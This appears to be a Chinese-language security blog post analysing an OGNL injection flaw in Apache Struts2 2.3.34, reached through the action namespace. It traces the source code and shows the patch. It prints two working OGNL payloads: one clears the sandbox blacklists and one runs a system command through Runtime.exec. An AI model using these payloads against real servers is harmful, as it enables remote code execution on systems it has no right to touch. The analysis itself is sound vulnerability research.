前言 经典 Java 软件漏洞 struts 系列,准备一个个看过去。
这个就是最后一个了。
环境搭建 2.3.34 版本 struts2 + Tomcat 9。
修改 struts.xml:
1 <constant name ="struts.mapper.alwaysSelectFullNamespace" value ="true" />
漏洞分析 阅读官方通告 和漏洞发现者的文章 ,设置一个 redirectAction 的 result:
1 2 3 <result name ="success" type ="redirectAction" > <param name ="actionName" > login!update.action</param > </result >
然后全局搜索用到 alwaysSelectFullNamespace 这个布尔的地方,找到 DefaultActionMapper 类的 parseNameAndNamespace 函数:
1 2 3 4 5 6 7 8 9 ...else if (alwaysSelectFullNamespace) { namespace = uri.substring(0 , lastSlash); name = uri.substring(lastSlash + 1 ); } ... mapping.setNamespace(namespace); mapping.setName(cleanupActionName(name));
看到 mapping.setName 这里,namespace 没有经过校验,存在 OGNL 表达式注入的可能,可以联想到之前 setResult、setMethod 导致的问题,按照经验继续搜索 mapping.getNamespace、proxy.getNamespace、getProxy().getNamespace 等调用,可以找到 3 个类,分别是:
1 2 3 ServletActionRedirectResult PostbackResult ActionChainResult
先看 ServletActionRedirectResult 类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void execute (ActionInvocation invocation) throws Exception { actionName = conditionalParse(actionName, invocation); if (namespace == null ) { namespace = invocation.getProxy().getNamespace(); } else { namespace = conditionalParse(namespace, invocation); } if (method == null ) { method = "" ; } else { method = conditionalParse(method, invocation); } String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping (actionName, namespace, method, null )); setLocation(tmpLocation); super .execute(invocation); }
super.execute 会往上来到 StrutsResultSupport 类:
1 2 3 4 public void execute (ActionInvocation invocation) throws Exception { lastFinalLocation = conditionalParse(location, invocation); doExecute(lastFinalLocation, invocation); }
同样很眼熟,会将 location,即用 namespace 和其他数据拼接成的路径当作表达式进行解析,触发了漏洞。
接下来看 PostbackResult 类,可以看到逻辑基本一致:
1 2 3 4 5 6 @Override public void execute (ActionInvocation invocation) throws Exception { String postbackUri = makePostbackUri(invocation); setLocation(postbackUri); super .execute(invocation); }
makePostbackUri 函数拼接,然后 execute 触发。
最后看看 ActionChainResult 类:
1 2 3 4 5 6 7 8 9 10 public void execute (ActionInvocation invocation) throws Exception { if (this .namespace == null ) { this .namespace = invocation.getProxy().getNamespace(); } ValueStack stack = ActionContext.getContext().getValueStack(); String finalNamespace = TextParseUtil.translateVariables(namespace, stack); ... }
可以看到调用了 translateVariables 函数,直接把 namespace 当作表达式来用了。
漏洞利用 2.3.34 版本中 #context 无法使用了(如果是 2.5.10 版本之后的,黑名单也无法用 clear 来清空了),所以需要另寻他法。
阅读参考文章,#context 可以用 #attr 来替代,clear 可以用 setter 来替代,最后的 payload 为两步,先清空黑名单:
1 (#context=#attr['struts.valueStack' ].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container' ]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class )).(#ognlUtil.setExcludedClasses('' )).(#ognlUtil.setExcludedPackageNames('' ))
然后执行命令:
1 (#context=#attr ['struts.valueStack' ] .context).(#context .setMemberAccess (@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang .Runtime@getRuntime ().exec ('calc' ))
2.3.x 版本的无法使用这个 payload,因为 setter 跟 2.5.x 有一点差别:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public void setExcludedClasses (String commaDelimitedClasses) { Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses); Set<Class<?>> classes = new HashSet <>(); for (String className : classNames) { try { classes.add(Class.forName(className)); } catch (ClassNotFoundException e) { throw new ConfigurationException ("Cannot load excluded class: " + className, e); } } excludedClasses = Collections.unmodifiableSet(classes); }public void setExcludedClasses (String commaDelimitedClasses) { Set<String> classes = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses); for (String className : classes) { try { excludedClasses.add(Class.forName(className)); } catch (ClassNotFoundException e) { throw new ConfigurationException ("Cannot load excluded class: " + className, e); } } }
可以看到少了最后的一句:
1 excludedClasses = Collections.unmodifiableSet(classes);
所以调用 setter 无法清空黑名单。
漏洞修复 给 namespace 加上了校验:
1 2 3 protected Pattern allowedNamespaceNames = Pattern.compile("[a-zA-Z0-9._/\\-]*" ); ... mapping.setNamespace(cleanupNamespaceName(namespace));
参考文章:
https://xz.aliyun.com/t/3395
https://xz.aliyun.com/t/2618